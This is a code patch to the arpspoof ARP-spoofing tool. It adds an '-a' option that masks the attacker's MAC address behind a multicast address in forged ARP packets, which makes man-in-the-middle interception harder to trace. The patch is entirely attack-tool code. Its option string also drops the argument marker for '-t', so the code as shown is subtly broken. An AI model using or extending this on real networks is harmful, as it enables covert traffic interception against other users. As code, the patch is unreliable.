--- arpspoof.c.orig 2007-06-22 21:24:26.169638763 -0400 +++ arpspoof.c 2007-06-25 23:08:51.786962797 -0400 @@ -31,12 +31,13 @@ static struct ether_addr spoof_mac, target_mac; static in_addr_t spoof_ip, target_ip; static char *intf; +static int anon; static void usage(void) { fprintf(stderr, "Version: " VERSION "\n" - "Usage: arpspoof [-i interface] [-t target] host\n"); + "Usage: arpspoof [-a] [-i interface] [-t target] host\n"); exit(1); } @@ -51,14 +52,20 @@ (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) { return (-1); } + if (spa == 0) { if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0) return (-1); spa = htonl(spa); /* XXX */ } + if (tha == NULL) tha = "\xff\xff\xff\xff\xff\xff"; + if (anon) { + sha = tha = "\x01\x00\x5e\x00\x00\x01"; + } + libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt); libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, @@ -154,11 +161,15 @@ char ebuf[PCAP_ERRBUF_SIZE]; int c; + anon = 0; intf = NULL; spoof_ip = target_ip = 0; - while ((c = getopt(argc, argv, "i:t:h?V")) != -1) { + while ((c = getopt(argc, argv, "ahi:t?V")) != -1) { switch (c) { + case 'a': + anon = 1; + break; case 'i': intf = optarg; break;